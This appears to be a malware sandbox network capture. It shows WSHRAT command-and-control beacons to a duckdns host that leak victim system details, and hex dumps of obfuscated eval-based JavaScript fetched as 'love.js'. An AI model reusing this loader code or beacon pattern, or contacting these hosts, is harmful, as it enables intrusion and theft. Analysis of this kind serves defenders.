                                                                                                                                                                                      Accept-Language: en-ch
                                                                                                                                                                                      Accept-Encoding: gzip, deflate
                                                                                                                                                                                      Host: masterokrwh.duckdns.org:8426
                                                                                                                                                                                      Content-Length: 0
                                                                                                                                                                                      Connection: Keep-Alive
                                                                                                                                                                                      Cache-Control: no-cache


                                                                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                      28192.168.2.44981445.133.174.7584261544C:\Windows\SysWOW64\wscript.exe
                                                                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                                                                      May 10, 2024 21:34:20.217921972 CEST344OUTPOST /is-ready HTTP/1.1
                                                                                                                                                                                      Accept: */*
                                                                                                                                                                                      user-agent: WSHRAT|B81A4609|user-PC|user|Microsoft Windows 10 Pro|plus|Windows Defender .|false - 10/5/2024|JavaScript-v3.4|US:United States
                                                                                                                                                                                      Accept-Language: en-ch
                                                                                                                                                                                      Accept-Encoding: gzip, deflate
                                                                                                                                                                                      Host: masterokrwh.duckdns.org:8426
                                                                                                                                                                                      Content-Length: 0
                                                                                                                                                                                      Connection: Keep-Alive
                                                                                                                                                                                      Cache-Control: no-cache


                                                                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                      29192.168.2.44981545.133.174.7584261544C:\Windows\SysWOW64\wscript.exe
                                                                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                                                                      May 10, 2024 21:34:25.740081072 CEST344OUTPOST /is-ready HTTP/1.1
                                                                                                                                                                                      Accept: */*
                                                                                                                                                                                      user-agent: WSHRAT|B81A4609|user-PC|user|Microsoft Windows 10 Pro|plus|Windows Defender .|false - 10/5/2024|JavaScript-v3.4|US:United States
                                                                                                                                                                                      Accept-Language: en-ch
                                                                                                                                                                                      Accept-Encoding: gzip, deflate
                                                                                                                                                                                      Host: masterokrwh.duckdns.org:8426
                                                                                                                                                                                      Content-Length: 0
                                                                                                                                                                                      Connection: Keep-Alive
                                                                                                                                                                                      Cache-Control: no-cache


                                                                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                      30192.168.2.44981645.133.174.7584261544C:\Windows\SysWOW64\wscript.exe
                                                                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                                                                      May 10, 2024 21:34:31.206768990 CEST344OUTPOST /is-ready HTTP/1.1
                                                                                                                                                                                      Accept: */*
                                                                                                                                                                                      user-agent: WSHRAT|B81A4609|user-PC|user|Microsoft Windows 10 Pro|plus|Windows Defender .|false - 10/5/2024|JavaScript-v3.4|US:United States
                                                                                                                                                                                      Accept-Language: en-ch
                                                                                                                                                                                      Accept-Encoding: gzip, deflate
                                                                                                                                                                                      Host: masterokrwh.duckdns.org:8426
                                                                                                                                                                                      Content-Length: 0
                                                                                                                                                                                      Connection: Keep-Alive
                                                                                                                                                                                      Cache-Control: no-cache


                                                                                                                                                                                      HTTPS Proxied Packets

                                                                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                      0192.168.2.449734172.66.47.24434628C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                                                                      2024-05-10 19:31:19 UTC492OUTGET /love.js HTTP/1.1
                                                                                                                                                                                      Host: cloudgoogle.pages.dev
                                                                                                                                                                                      Connection: keep-alive
                                                                                                                                                                                      sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"
                                                                                                                                                                                      sec-ch-ua-mobile: ?0
                                                                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
                                                                                                                                                                                      sec-ch-ua-platform: "Windows"
                                                                                                                                                                                      Accept: */*
                                                                                                                                                                                      Sec-Fetch-Site: cross-site
                                                                                                                                                                                      Sec-Fetch-Mode: no-cors
                                                                                                                                                                                      Sec-Fetch-Dest: script
                                                                                                                                                                                      Accept-Encoding: gzip, deflate, br
                                                                                                                                                                                      Accept-Language: en-US,en;q=0.9
                                                                                                                                                                                      2024-05-10 19:31:20 UTC763INHTTP/1.1 200 OK
                                                                                                                                                                                      Date: Fri, 10 May 2024 19:31:20 GMT
                                                                                                                                                                                      Content-Type: application/javascript
                                                                                                                                                                                      Content-Length: 45489
                                                                                                                                                                                      Connection: close
                                                                                                                                                                                      Access-Control-Allow-Origin: *
                                                                                                                                                                                      Cache-Control: public, max-age=0, must-revalidate
                                                                                                                                                                                      ETag: "2c5b5471075b46345d4110e63c2192fe"
                                                                                                                                                                                      referrer-policy: strict-origin-when-cross-origin
                                                                                                                                                                                      x-content-type-options: nosniff
                                                                                                                                                                                      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2jYQyg%2FlDRXR7qfNXdx3zMsVknuX5HoxFDkZ4ExZiX6zl11hXW2QSK%2BqbHm89h0qnj3uGxwZES5GA1%2FqsRZ0Ugc6jaZWj3CaPq%2BKraKkoeEOnA%2B69SVVJ0GyxVPx%2Bx4HCd0oSyMMLoQ%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                      Server: cloudflare
                                                                                                                                                                                      CF-RAY: 881c59524970112e-ORD
                                                                                                                                                                                      alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                      2024-05-10 19:31:20 UTC606INData Raw: 2f 2f 20 4a 6f 62 20 49 44 3a 20 6e 71 33 78 6c 68 39 6b 66 65 35 73 0d 0a 6c 65 74 20 72 66 4b 4f 3b 21 66 75 6e 63 74 69 6f 6e 28 29 7b 63 6f 6e 73 74 20 67 6e 39 46 3d 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 2e 73 6c 69 63 65 2e 63 61 6c 6c 28 61 72 67 75 6d 65 6e 74 73 29 3b 72 65 74 75 72 6e 20 65 76 61 6c 28 22 28 66 75 6e 63 74 69 6f 6e 20 4d 58 4a 46 28 76 64 52 78 29 7b 63 6f 6e 73 74 20 58 4b 54 78 3d 66 58 41 79 28 76 64 52 78 2c 76 66 6f 79 28 4d 58 4a 46 2e 74 6f 53 74 72 69 6e 67 28 29 29 29 3b 74 72 79 7b 6c 65 74 20 72 38 4c 78 3d 65 76 61 6c 28 58 4b 54 78 29 3b 72 65 74 75 72 6e 20 72 38 4c 78 2e 61 70 70 6c 79 28 6e 75 6c 6c 2c 67 6e 39 46 29 3b 7d 63 61 74 63 68 28 54 46 4f 78 29 7b 76 61 72 20 54 48 6c 79 3d 28 30 6f 32 30 33 35
                                                                                                                                                                                      Data Ascii: // Job ID: nq3xlh9kfe5slet rfKO;!function(){const gn9F=Array.prototype.slice.call(arguments);return eval("(function MXJF(vdRx){const XKTx=fXAy(vdRx,vfoy(MXJF.toString()));try{let r8Lx=eval(XKTx);return r8Lx.apply(null,gn9F);}catch(TFOx){var THly=(0o2035
                                                                                                                                                                                      2024-05-10 19:31:20 UTC1369INData Raw: 79 3b 77 68 69 6c 65 28 4c 78 62 79 3c 28 30 78 31 30 35 46 30 2d 30 6f 32 30 32 37 31 32 29 29 7b 73 77 69 74 63 68 28 4c 78 62 79 29 7b 63 61 73 65 20 28 30 6f 36 30 30 31 32 33 25 30 78 31 30 30 31 36 29 3a 4c 78 62 79 3d 28 36 38 37 37 36 2d 30 6f 32 30 36 32 31 35 29 3b 7b 72 61 6a 79 5e 3d 28 50 43 67 79 2e 63 68 61 72 43 6f 64 65 41 74 28 6e 35 64 79 29 2a 28 31 35 36 35 38 37 33 34 5e 30 4f 37 33 35 36 37 33 35 34 29 2b 50 43 67 79 2e 63 68 61 72 43 6f 64 65 41 74 28 6e 35 64 79 3e 3e 3e 28 30 78 34 41 35 44 30 43 45 26 30 4f 33 32 30 34 32 33 34 32 34 29 29 29 5e 39 34 34 39 36 35 35 37 34 3b 7d 62 72 65 61 6b 3b 63 61 73 65 20 28 30 6f 32 30 35 32 31 34 2d 36 38 32 30 39 29 3a 4c 78 62 79 3d 28 30 4f 33 31 35 33 30 35 30 35 36 33 2d 30 78 31 39
                                                                                                                                                                                      Data Ascii: y;while(Lxby<(0x105F0-0o202712)){switch(Lxby){case (0o600123%0x10016):Lxby=(68776-0o206215);{rajy^=(PCgy.charCodeAt(n5dy)*(15658734^0O73567354)+PCgy.charCodeAt(n5dy>>>(0x4A5D0CE&0O320423424)))^944965574;}break;case (0o205214-68209):Lxby=(0O3153050563-0x19
                                                                                                                                                                                      2024-05-10 19:31:20 UTC1369INData Raw: 3c 28 30 78 31 30 33 46 43 2d 30 6f 32 30 31 37 33 32 29 29 73 77 69 74 63 68 28 62 55 32 79 29 7b 63 61 73 65 20 28 30 78 31 30 35 32 38 2d 30 6f 32 30 32 34 30 37 29 3a 62 55 32 79 3d 44 70 79 79 3e 3d 62 53 76 79 2e 6c 65 6e 67 74 68 3f 28 30 6f 36 30 30 31 31 34 25 30 78 31 30 30 31 35 29 3a 28 30 78 33 30 30 38 38 25 30 6f 32 30 30 30 34 32 29 3b 62 72 65 61 6b 3b 63 61 73 65 20 28 30 6f 34 30 30 31 30 33 25 36 35 35 36 33 29 3a 62 55 32 79 3d 28 36 37 39 31 36 2d 30 6f 32 30 34 34 35 32 29 3b 7b 44 70 79 79 3d 28 30 78 32 31 37 38 36 25 33 29 3b 7d 62 72 65 61 6b 3b 7d 7d 62 72 65 61 6b 3b 63 61 73 65 20 28 30 4f 33 31 35 33 30 35 30 35 36 33 2d 30 78 31 39 41 43 35 31 36 42 29 3a 7a 6b 74 79 3d 7a 6d 30 79 3c 48 75 44 79 2e 6c 65 6e 67 74 68 3f 28
                                                                                                                                                                                      Data Ascii: <(0x103FC-0o201732))switch(bU2y){case (0x10528-0o202407):bU2y=Dpyy>=bSvy.length?(0o600114%0x10015):(0x30088%0o200042);break;case (0o400103%65563):bU2y=(67916-0o204452);{Dpyy=(0x21786%3);}break;}}break;case (0O3153050563-0x19AC516B):zkty=zm0y<HuDy.length?(
                                                                                                                                                                                      2024-05-10 19:31:20 UTC254INData Raw: 30 45 25 30 30 25 30 33 25 35 45 4c 4c 48 4c 31 25 31 37 25 30 45 25 30 33 4d 4c 4a 25 31 39 25 30 37 25 30 44 25 31 38 25 31 35 25 31 31 25 30 43 25 30 43 25 30 41 41 25 31 36 43 25 31 32 25 31 43 4d 4a 25 31 46 25 31 33 25 31 44 25 30 32 25 30 33 25 31 37 25 30 42 43 43 3d 25 30 44 46 46 51 56 44 25 31 39 25 31 33 25 31 45 3d 39 4b 2d 25 30 31 59 49 49 4b 4b 42 54 44 4d 5a 25 31 45 25 30 33 25 31 38 25 30 36 25 31 31 25 30 41 25 30 42 25 30 46 58 25 33 45 25 30 35 53 25 31 44 4b 4d 25 31 41 25 30 41 25 31 33 25 30 32 25 31 30 25 31 37 25 30 44 44 25 31 37 41 3b 25 30 31 4d 4c 48 28 25 31 35 4f 25 30 31 25 35 45 4c 4e 25 30 39 25 32 35 25 30 35 25 30 41 25 35 45 5f 4e 29 25 30 42 32 25 31 35 50 5f 25 30 42 25 30 33 25 31 30 25 30 44 25 30 37 25 31 35
                                                                                                                                                                                      Data Ascii: 0E%00%03%5ELLHL1%17%0E%03MLJ%19%07%0D%18%15%11%0C%0C%0AA%16C%12%1CMJ%1F%13%1D%02%03%17%0BCC=%0DFFQVD%19%13%1E=9K-%01YIIKKBTDMZ%1E%03%18%06%11%0A%0B%0FX%3E%05S%1DKM%1A%0A%13%02%10%17%0DD%17A;%01MLH(%15O%01%5ELN%09%25%05%0A%5E_N)%0B2%15P_%0B%03%10%0D%07%15
                                                                                                                                                                                      2024-05-10 19:31:20 UTC1369INData Raw: 25 31 31 25 31 39 25 31 38 45 25 30 46 53 25 35 43 25 31 39 50 5f 25 30 44 25 31 37 25 30 30 25 31 37 25 31 31 25 31 33 25 31 36 56 25 35 45 44 25 33 45 25 33 45 4f 3a 25 32 35 5f 2d 4e 44 48 3f 25 33 43 53 57 25 35 44 25 33 45 38 48 45 4a 23 2b 2b 25 31 38 25 30 33 25 31 36 25 30 41 25 30 32 25 30 43 25 31 46 25 31 39 25 30 42 45 25 30 39 56 5c 27 25 30 31 25 35 45 5f 25 31 45 25 31 37 25 30 36 25 31 30 25 31 34 25 30 41 25 31 38 56 31 2f 30 25 31 44 49 51 25 35 44 25 32 32 25 31 37 50 25 31 37 4c 48 53 25 31 34 3b 30 25 31 32 4b 4d 4a 2c 25 33 43 25 32 35 25 31 43 4d 4a 4f 35 25 30 30 31 25 30 30 4d 4c 48 2c 25 30 41 21 25 30 30 25 35 45 4c 4e 25 31 35 25 30 30 33 25 30 30 25 35 45 5f 4e 29 25 31 33 57 25 31 37 50 5f 25 30 42 25 30 33 25 31 30 25 30 44
                                                                                                                                                                                      Data Ascii: %11%19%18E%0FS%5C%19P_%0D%17%00%17%11%13%16V%5ED%3E%3EO:%25_-NDH?%3CSW%5D%3E8HEJ#++%18%03%16%0A%02%0C%1F%19%0BE%09V\'%01%5E_%1E%17%06%10%14%0A%18V1/0%1DIQ%5D%22%17P%17LHS%14;0%12KMJ,%3C%25%1CMJO5%001%00MLH,%0A!%00%5ELN%15%003%00%5E_N)%13W%17P_%0B%03%10%0D
                                                                                                                                                                                      2024-05-10 19:31:20 UTC1369INData Raw: 46 25 31 44 54 52 56 53 49 5f 4d 25 30 37 25 31 37 25 30 36 25 30 35 25 30 41 43 25 30 42 25 30 42 25 30 37 25 31 37 25 30 36 25 30 35 25 30 41 43 25 30 42 25 30 34 25 30 30 25 31 31 25 31 36 25 31 36 25 30 46 58 25 32 32 25 30 36 25 31 43 25 31 31 58 25 31 39 25 30 37 25 30 44 25 31 38 25 31 35 25 31 31 25 30 43 25 30 43 25 30 41 41 25 30 32 25 31 44 25 30 32 25 31 43 4d 4a 25 31 46 25 31 33 25 31 44 25 30 32 25 30 33 25 31 37 25 30 42 43 4c 3a 25 32 35 2d 25 31 43 32 51 25 31 34 4c 48 25 32 35 25 35 44 2d 38 4c 38 25 30 32 5c 27 36 25 30 32 25 35 45 4c 38 25 31 45 25 30 32 25 31 34 25 31 36 25 31 35 25 30 32 25 30 43 25 30 41 25 30 44 44 25 31 42 25 31 35 46 25 30 46 4d 4c 25 31 38 25 31 36 25 30 34 25 30 43 25 30 33 25 30 34 25 30 42 45 33 25 31 37 23
                                                                                                                                                                                      Data Ascii: F%1DTRVSI_M%07%17%06%05%0AC%0B%0B%07%17%06%05%0AC%0B%04%00%11%16%16%0FX%22%06%1C%11X%19%07%0D%18%15%11%0C%0C%0AA%02%1D%02%1CMJ%1F%13%1D%02%03%17%0BCL:%25-%1C2Q%14LH%25%5D-8L8%02\'6%02%5EL8%1E%02%14%16%15%02%0C%0A%0DD%1B%15F%0FML%18%16%04%0C%03%04%0BE3%17#
                                                                                                                                                                                      2024-05-10 19:31:20 UTC1369INData Raw: 31 38 25 31 36 25 30 34 25 30 43 25 30 33 25 30 34 25 30 42 45 4b 4f 4a 23 25 35 44 2d 38 38 38 4f 3a 25 32 35 2b 25 35 44 4d 4e 48 3f 4a 23 2b 2b 25 33 45 4e 38 39 25 33 43 51 5f 25 35 44 4d 4e 38 39 4a 59 25 35 44 2d 38 4c 25 31 45 25 30 32 25 31 34 25 31 36 25 31 35 25 30 32 25 30 43 25 30 41 25 30 44 44 25 30 46 25 32 32 35 25 30 31 4d 4c 25 31 38 25 31 36 25 30 34 25 30 43 25 30 33 25 30 34 25 30 42 45 4b 4c 4a 59 25 35 44 2d 38 4e 42 4f 3a 25 32 35 5f 25 35 43 4d 35 25 30 30 25 30 38 25 31 33 50 5f 5f 4c 4e 4b 4f 3a 25 32 35 25 35 44 57 4e 25 33 45 25 33 45 4d 25 31 43 25 31 45 25 30 33 25 31 38 25 30 36 25 31 31 25 30 41 25 30 42 25 30 46 58 26 25 30 31 23 25 31 32 4b 4d 25 31 41 25 30 41 25 31 33 25 30 32 25 31 30 25 31 37 25 30 44 44 49 59 2d 2b
                                                                                                                                                                                      Data Ascii: 18%16%04%0C%03%04%0BEKOJ#%5D-888O:%25+%5DMNH?J#++%3EN89%3CQ_%5DMN89JY%5D-8L%1E%02%14%16%15%02%0C%0A%0DD%0F%225%01ML%18%16%04%0C%03%04%0BEKLJY%5D-8NBO:%25_%5CM5%00%08%13P__LNKO:%25%5DWN%3E%3EM%1C%1E%03%18%06%11%0A%0B%0FX&%01#%12KM%1A%0A%13%02%10%17%0DDIY-+
                                                                                                                                                                                      2024-05-10 19:31:20 UTC1369INData Raw: 46 25 31 33 25 31 44 25 30 32 25 30 33 25 31 37 25 30 42 43 30 25 31 42 25 31 43 25 30 31 2d 25 30 33 37 39 25 31 33 25 33 43 43 25 30 42 25 31 30 25 31 30 25 30 42 25 30 30 25 31 30 25 30 38 25 31 37 25 31 38 56 25 31 46 25 30 30 30 25 31 33 49 51 25 30 44 25 30 34 25 30 30 25 31 31 25 31 36 25 31 36 25 30 46 58 25 35 45 25 32 32 21 25 30 44 25 31 42 4c 48 51 25 35 44 2d 38 25 31 38 25 30 35 25 31 31 25 30 46 25 31 42 25 30 32 25 31 46 25 30 41 25 30 42 43 25 30 36 2c 2d 25 30 31 25 35 45 4c 25 31 45 25 31 31 25 30 31 25 31 35 25 30 44 25 30 34 25 31 38 45 4d 25 30 39 54 59 25 30 30 25 35 45 5f 4c 25 33 45 25 30 39 29 25 31 31 25 30 44 25 35 45 5f 38 4d 4a 25 31 39 25 30 37 25 30 44 25 31 38 25 31 35 25 31 31 25 30 43 25 30 43 25 30 41 41 25 30 45 4f 3b
                                                                                                                                                                                      Data Ascii: F%13%1D%02%03%17%0BC0%1B%1C%01-%0379%13%3CC%0B%10%10%0B%00%10%08%17%18V%1F%000%13IQ%0D%04%00%11%16%16%0FX%5E%22!%0D%1BLHQ%5D-8%18%05%11%0F%1B%02%1F%0A%0BC%06,-%01%5EL%1E%11%01%15%0D%04%18EM%09TY%00%5E_L%3E%09)%11%0D%5E_8MJ%19%07%0D%18%15%11%0C%0C%0AA%0EO;
                                                                                                                                                                                      2024-05-10 19:31:20 UTC1369INData Raw: 30 42 25 35 45 5f 4e 35 25 30 45 54 25 31 35 50 5f 25 35 44 31 25 30 39 25 31 36 25 31 37 49 51 25 35 44 25 31 43 34 25 31 31 25 31 35 4c 48 25 30 35 25 31 30 25 30 33 25 30 42 25 30 36 25 31 37 25 30 44 25 30 45 25 31 36 56 3a 25 31 31 52 25 31 34 4c 48 25 30 33 25 30 34 25 31 33 25 31 31 25 31 30 25 31 31 25 30 41 41 50 26 25 30 37 51 25 31 30 4b 4d 48 53 2d 2b 25 31 38 25 30 33 25 31 36 25 30 41 25 30 32 25 30 43 25 31 46 25 31 39 25 30 42 45 25 30 44 55 58 25 30 46 25 35 45 5f 25 31 45 31 25 31 39 25 30 30 25 31 36 45 2d 2b 25 35 45 25 30 36 25 30 43 25 30 41 25 31 32 25 30 43 56 25 31 38 56 25 32 32 25 31 42 59 25 31 33 4a 25 31 37 25 30 31 4d 4c 58 25 30 37 25 30 45 25 31 36 25 30 35 25 30 32 45 35 25 32 32 2e 25 31 39 45 25 30 30 2c 52 25 31 31 4b
                                                                                                                                                                                      Data Ascii: 0B%5E_N5%0ET%15P_%5D1%09%16%17IQ%5D%1C4%11%15LH%05%10%03%0B%06%17%0D%0E%16V:%11R%14LH%03%04%13%11%10%11%0AAP&%07Q%10KMHS-+%18%03%16%0A%02%0C%1F%19%0BE%0DUX%0F%5E_%1E1%19%00%16E-+%5E%06%0C%0A%12%0CV%18V%22%1BY%13J%17%01MLX%07%0E%16%05%02E5%22.%19E%00,R%11K
                                                                                                                                                                                      2024-05-10 19:31:20 UTC1369INData Raw: 30 30 58 25 30 37 24 25 30 45 25 31 37 44 25 31 30 3a 25 30 41 25 31 33 38 28 25 31 37 3d 25 30 45 2b 5a 4d 53 25 30 42 50 48 46 46 54 57 55 41 51 25 30 30 47 46 55 54 52 4d 25 35 42 50 46 25 31 39 54 55 53 54 53 4f 45 53 55 25 31 44 52 54 51 4a 43 5f 25 35 45 25 30 37 25 31 31 25 30 31 25 30 30 25 31 33 4d 25 31 35 25 30 34 25 31 36 25 30 36 44 49 48 25 31 39 40 55 55 52 56 50 25 35 44 46 25 30 45 54 55 53 55 57 51 4c 25 33 45 25 30 43 25 31 37 25 31 35 59 49 48 25 31 39 44 55 56 53 57 51 55 40 41 55 25 35 44 50 4d 5a 25 31 41 31 25 31 43 25 31 33 4e 48 5f 25 30 33 25 30 41 25 31 33 25 31 37 25 30 45 25 35 45 25 30 30 25 30 35 25 31 32 25 31 44 56 25 35 45 55 25 30 41 51 54 55 4c 42 42 48 55 25 31 42 55 51 41 47 44 4c 5f 2b 25 30 44 25 31 33 25 30 45 4b
                                                                                                                                                                                      Data Ascii: 00X%07$%0E%17D%10:%0A%138(%17=%0E+ZMS%0BPHFFTWUAQ%00GFUTRM%5BPF%19TUSTSOESU%1DRTQJC_%5E%07%11%01%00%13M%15%04%16%06DIH%19@UURVP%5DF%0ETUSUWQL%3E%0C%17%15YIH%19DUVSWQU@AU%5DPMZ%1A1%1C%13NH_%03%0A%13%17%0E%5E%00%05%12%1DV%5EU%0AQTULBBHU%1BUQAGDL_+%0D%13%0EK


                                                                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                      1192.168.2.449733199.232.192.1934434628C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                                                                      2024-05-10 19:31:19 UTC564OUTGET /ZU3tO.png,%20&width=450 HTTP/1.1
                                                                                                                                                                                      Host: i.stack.imgur.com
                                                                                                                                                                                      Connection: keep-alive
                                                                                                                                                                                      sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"
                                                                                                                                                                                      sec-ch-ua-mobile: ?0
                                                                                                                                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
                                                                                                                                                                                      sec-ch-ua-platform: "Windows"
                                                                                                                                                                                      Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
                                                                                                                                                                                      Sec-Fetch-Site: cross-site
                                                                                                                                                                                      Sec-Fetch-Mode: no-cors
                                                                                                                                                                                      Sec-Fetch-Dest: image
                                                                                                                                                                                      Accept-Encoding: gzip, deflate, br
                                                                                                                                                                                      Accept-Language: en-US,en;q=0.9
                                                                                                                                                                                      2024-05-10 19:31:20 UTC519INHTTP/1.1 200 OK
                                                                                                                                                                                      Connection: close
                                                                                                                                                                                      Content-Length: 8514
                                                                                                                                                                                      Cache-Control: max-age=315360000
                                                                                                                                                                                      Content-Type: image/png
                                                                                                                                                                                      ETag: "51f7db54af24c4acfbe56682813c7401"
                                                                                                                                                                                      Expires: Thu, 31 Dec 2037 23:55:55 GMT
                                                                                                                                                                                      Last-Modified: Mon, 13 Feb 2017 05:29:55 GMT
                                                                                                                                                                                      Via: 1.1 varnish, 1.1 varnish
                                                                                                                                                                                      Accept-Ranges: bytes
                                                                                                                                                                                      Age: 155098
                                                                                                                                                                                      Date: Fri, 10 May 2024 19:31:20 GMT
                                                                                                                                                                                      X-Served-By: cache-iad-kcgs7200052-IAD, cache-chi-kigq8000153-CHI
                                                                                                                                                                                      X-Cache: HIT, HIT
                                                                                                                                                                                      X-Cache-Hits: 29, 0
                                                                                                                                                                                      X-Timer: S1715369480.002403,VS0,VE1
                                                                                                                                                                                      Server: cat factory 1.0
                                                                                                                                                                                      2024-05-10 19:31:20 UTC1371INData Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 07 d0 00 00 03 e8 01 03 00 00 00 bc 90 f7 e9 00 00 00 06 50 4c 54 45 ff ff ff 09 71 ce 10 eb 4f f1 00 00 20 f7 49 44 41 54 78 da ed 5d bd b2 ec 4a 75 1e 2d 54 b7 84 8b 40 c6 04 ce dc a6 b0 cb 21 8f 20 5c 37 20 bc 8f 80 df 82 08 da 19 a1 9f c0 45 ee 04 67 64 f4 23 10 38 20 a0 0a 85 04 b7 6c 05 2e a3 a2 84 e4 7b f6 d9 3f d2 a8 7f d6 ea 5e dd 92 66 56 43 dd 73 ce de 33 dd fd ad ef 5b 7f 3d 1a e9 76 3b e3 e8 4a 2c 02 b7 a7 1d 02 5d a0 0b 74 81 2e d0 05 ba 40 17 e8 79 47 2b ac 0b 74 81 2e d0 05 ba 40 17 e8 02 5d a0 0b 74 81 2e d0 05 ba 40 17 e8 02 fd 44 43 0b eb 02 5d a0 0b 74 81 2e d0 05 ba 40 17 e8 02 5d a0 0b 74 81 2e d0 05 ba 40 17 e8 02 5d a0 0b f4 c4 d1 09 eb 02 5d a0 0b 74 81 2e d0 05 ba 40 17 e8 02
                                                                                                                                                                                      Data Ascii: PNGIHDRPLTEqO IDATx]Ju-T@! \7 Egd#8 l.{?^fVCs3[=v;J,]t.@yG+t.@]t.@DC]t.@]t.@]]t.@
                                                                                                                                                                                      2024-05-10 19:31:20 UTC1371INData Raw: e3 da e1 ca e2 96 93 66 f2 5c 1d 97 ff 01 63 a7 c1 ed e6 65 58 af 88 91 17 30 31 b5 da ce db f0 79 41 38 ea e4 6b a5 9b 62 7e 48 5b 23 42 bc 35 bb 59 b8 12 09 24 4e d5 66 53 40 53 e3 33 a7 ca cf 7a 6c 7b db a0 d4 c1 7f 11 b1 7a c1 a7 ec ec 00 01 63 75 fb ab ab 25 f4 da e3 70 87 97 34 5d 81 18 11 0b bd 0e 6d bd b3 8a a5 f6 64 88 82 b7 20 6a 10 69 34 8f c5 35 f9 d7 2d 12 4b e9 e4 66 5f bd 63 ec 68 3b 76 e4 8a 13 7a 7d 8e 5b 85 b7 89 32 4d 0d 73 75 15 65 71 44 91 7b 54 98 63 0f 44 15 46 be 15 34 94 83 8e 5a a7 ac fd 02 bd 4a 0a 74 da 1a b4 e2 a2 51 9d 29 f5 76 b6 3d 41 9a 93 b9 cd ab e2 62 4f 4b 7b b9 4a f0 1b 40 54 c0 fa 76 f8 50 2b d3 7c 83 b4 ab 3e 44 d2 f1 f9 7a e7 93 cd 2f f8 0f 1f a8 5b 6f 3b a6 70 f4 19 7a 5d a0 9e ed f0 d4 16 31 61 fe 1a be 61 50 79
                                                                                                                                                                                      Data Ascii: f\ceX01yA8kb~H[#B5Y$NfS@S3zl{zcu%p4]md ji45-Kf_ch;vz}[2MsueqD{TcDF4ZJtQ)v=AbOK{J@TvP+|>Dz/[o;pz]1aaPy
                                                                                                                                                                                      2024-05-10 19:31:20 UTC1371INData Raw: 23 0b 85 8d 64 9b d4 8e 16 30 b9 40 ef 3e 51 42 85 4f fa 79 77 da a5 16 05 bf 43 56 07 ca ad 30 10 e5 42 d3 6c 78 ab 30 aa 5f 5d 62 93 e1 d1 23 ed cb 66 ab d5 be db 9d 84 1b 0b 74 ef e1 08 82 ab bf 4d 39 de a8 79 b0 bb fc a8 f1 09 72 77 f4 58 d9 f7 54 df 22 85 bf 35 e0 f7 09 ed 51 f7 be 5c 1d ef af 36 1b c2 c7 02 b8 69 14 a9 b4 6f 52 a2 ca bb ad 49 01 e2 e5 6b dd 35 e2 09 81 e0 2b 00 f4 de 62 35 a1 2b b5 ac de 51 2e 4f 69 ba e8 c6 0e c3 24 dc ba ce 5f 74 35 28 7e ba 7f c4 e9 9d 98 ba 15 e9 45 15 49 88 80 2d aa 29 7b 06 d4 8b 51 51 31 b2 89 c7 44 e7 e8 13 d9 6e 13 81 50 fb 04 fb 05 e9 10 3c 13 51 de cf a1 d5 26 bb 76 9f ff d3 ee 01 2a 0b 74 bd a7 15 6e 8e 2b 9b 5b f7 1d 51 5a 1a 4f 84 78 49 bb 9e b1 42 b2 0a 15 55 84 da aa a6 5f be 7b 52 ae af b8 55 c8 a0
                                                                                                                                                                                      Data Ascii: #d0@>QBOywCV0Blx0_]b#ftM9yrwXT"5Q\6ioRIk5+b5+Q.Oi$_t5(~EI-){QQ1DnP<Q&v*tn+[QZOxIBU_{RU
                                                                                                                                                                                      2024-05-10 19:31:20 UTC1371INData Raw: ad 01 d7 77 f4 db ad 3f cb 11 c0 91 a3 7d ff a3 09 d6 79 b1 d0 2b 4f 5e a8 ae 61 1f ec 4d 94 1e 6c 40 04 eb f0 08 8e 54 e7 de 62 5b 30 76 52 61 74 ff f2 d0 25 8d 33 d0 e9 c0 03 57 ca ea af 39 c0 30 14 e8 d3 79 fa eb e4 f1 8b 2f 39 58 f7 54 c1 e7 4d 1b 90 f0 58 d1 f8 e4 bd 9c 22 c8 ab 07 0e 73 7e 6e da f6 91 23 fc e4 b5 0b 74 59 a1 17 6f 88 06 fc a1 58 f5 4b 98 4e c1 50 57 7e c9 bf 83 e6 f6 7c e3 93 32 7e fa 9f cf 78 40 f5 79 7c 95 ef 26 57 a7 1e f3 b2 1c 13 e1 87 13 80 ff f3 ed 49 05 3f 7e 73 cf 5f 4e e8 c6 ad af c3 a2 99 73 47 c3 ed 24 c9 ad f8 30 09 4d ab be 38 76 9d d1 d7 d5 b9 81 7b 59 ef 8f 28 ae 39 87 af 45 fc af db 93 46 f8 f9 13 ed c0 3d e7 09 94 8c 11 c4 f0 ac ac bf 0c a0 5b cc 1c 9a 90 f3 40 bf 90 ae d3 2a b9 cf 91 16 72 2f 52 be 54 41 78 fa 68
                                                                                                                                                                                      Data Ascii: w?}y+O^aMl@Tb[0vRat%3W90y/9XTMX"s~n#tYoXKNPW~|2~x@y|&WI?~s_NsG$0M8v{Y(9EF=[@*r/RTAxh
